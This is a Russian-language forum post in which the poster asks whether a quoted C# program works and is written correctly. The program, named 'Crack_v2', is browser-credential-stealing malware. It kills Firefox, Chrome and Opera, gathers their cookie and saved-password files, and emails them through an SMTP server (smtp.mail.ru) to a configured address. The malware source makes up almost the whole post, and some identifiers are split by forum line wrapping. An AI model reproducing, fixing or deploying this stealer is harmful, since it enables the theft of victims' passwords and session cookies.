![]() |
Расскажите как работает эта программа.... и рабочая ли она? и правильно ли написана?
Цитата: using System; using System.Collections.Generic; using System.Text; using System.Security.Principal; using System.Web.Mail; using System.Net.Sockets; using System.Net; namespace Crack_v2 { class Data { public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма public static readonly string AdditionalInfo = "test"; public static readonly string fileName = @"\system.drv"; public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles"; public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies"; public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat"; public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data"; public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat"; } class Program { static void GetDisks(System.Collections.ArrayList DList) { string[] disks = System.IO.Directory.GetLogicalDrives(); foreach (string disk in disks) { System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk); if (DiskProperty.DriveType.ToString() == "Fixed") { DList.Add(disk.ToString()); } } } static void GetDirectiry(string dir, System.Collections.ArrayList DList) { string[] directory = System.IO.Directory.GetFileSystemEntries(dir); foreach (string str in directory) DList.Add(str); } static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F) { System.Collections.ArrayList DirList = new System.Collections.ArrayList(); GetDirectiry(dir, DirList); foreach (string path in DirList) { string[] files = System.IO.Directory.GetFiles(path, F); foreach (string file in files) { FilesList.Add(file); } } } static string GetInfoUser(string sURL) { string INFO = ""; WebRequest wrGETURL; wrGETURL = WebRequest.Create(sURL); System.IO.Stream objStream; objStream = wrGETURL.GetResponse().GetResponseStream(); System.IO.StreamReader objReader = new System.IO.StreamReader(objStream); string sLine = ""; int i = 0; while (sLine != null) { i++; sLine = objReader.ReadLine(); if (sLine != null) { INFO += string.Format("{0}:{1}", i, sLine); } } return INFO; } static void CreateFile() { string FileName = Data.fileName; string Path = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData).ToString() + FileName; System.IO.File.Create(Path); } static void KillProcess(string ProcName) { try { System.Diagnostics.Process[] Proc; Proc = System.Diagnostics.Process.GetProcessesByName(Proc Name); int i = 0; while (i != Proc.Length) { Proc[i].Kill(); i++; } } catch { } } static void _breack(System.Collections.ArrayList List) { List.Add("________________"); List.Add(""); } static void Main(string[] args) { try { KillProcess("firefox"); KillProcess("chrome"); KillProcess("Opera"); System.Collections.ArrayList InfoList = new System.Collections.ArrayList(); System.Collections.ArrayList DisksList = new System.Collections.ArrayList(); System.Collections.ArrayList FilesList = new System.Collections.ArrayList(); string M = ""; int count = 1; _breack(InfoList); WindowsIdentity user = WindowsIdentity.GetCurrent(); string FireFox_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.FireFox_Coockies; string Chrome_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Coockies; string Opera_Profile = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Coockies; GetDisks(DisksList); GetFiles(FireFox_Profile, FilesList, "*.sqlite"); GetFiles(FireFox_Profile, FilesList, "*.txt"); InfoList.Add("Вложения содержат кукисы:"); MailMessage msg = new MailMessage(); int j = 1; foreach (string FileName in FilesList) { if (System.IO.Path.GetFileName(FileName) == "cookies.sqlite") { MailAttachment AttachFireFoxData = new MailAttachment(FileName); msg.Attachments.Add(AttachFireFoxData); InfoList.Add(count.ToString() + "." + j.ToString() + ") Куки FireFox (" + System.IO.Path.GetFileName(FileName) + ")"); j++; } } if (System.IO.File.Exists(Chrome_Profile)) { try { MailAttachment AttachChromeData = new MailAttachment(Chrome_Profile); msg.Attachments.Add(AttachChromeData); count++; InfoList.Add(count.ToString() + ") Куки Chrome (" + System.IO.Path.GetFileName(Chrome_Profile) + ")"); } catch { } } if (System.IO.File.Exists(Opera_Profile)) { MailAttachment AttachOperaData = new MailAttachment(Opera_Profile); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Куки Opera (" + System.IO.Path.GetFileName(Opera_Profile) + ")"); } _breack(InfoList); count++; InfoList.Add("Вложения содержат пароли:"); int p = 1; foreach (string FileName in FilesList) { if (System.IO.Path.GetFileName(FileName) == "signons3.txt") { MailAttachment AttachFireFoxData = new MailAttachment(FileName); msg.Attachments.Add(AttachFireFoxData); InfoList.Add(count.ToString() + "." + p.ToString() + ") Пасы FireFox (" + System.IO.Path.GetFileName(FileName) + ")"); p++; } } string Opera_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData) + Data.Opera_Pass; if (System.IO.File.Exists(Opera_Pass)) { MailAttachment AttachOperaData = new MailAttachment(Opera_Pass); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Пасы Opera (" + System.IO.Path.GetFileName(Opera_Pass) + ")"); } string Chrome_Pass = Environment.GetFolderPath(Environment.SpecialFolde r.LocalApplicationData) + Data.Chrome_Pass; if (System.IO.File.Exists(Chrome_Pass)) { MailAttachment AttachOperaData = new MailAttachment(Chrome_Pass); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Пасы Chrome (" + System.IO.Path.GetFileName(Chrome_Pass) + ")"); } _breack(InfoList); // -- отправляем письмо -- string smtpServer = Data.SMTPServer; string userName = Data.UserName; string password = Data.UserPassword; msg.Priority = System.Web.Mail.MailPriority.High; msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1); msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", userName); msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password); msg.To = Data.MailAddressTo; msg.From = Data.MailAddressFrom; msg.Subject = user.Name.ToString() + " / " + Data.AdditionalInfo; for (int i = 0; i < InfoList.Count; i++) { M = M + Environment.NewLine + InfoList[i].ToString(); } msg.Body = M; SmtpMail.SmtpServer = smtpServer; if (!System.IO.File.Exists(Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData).ToStrin g() + Data.fileName)) { SmtpMail.Send(msg); CreateFile(); Console.Clear(); } } catch (Exception e) { Console.Write(e.Source + Environment.NewLine + e.Message + Environment.NewLine + e.Data); Console.ReadLine(); } } } } |
| Время: 13:00 |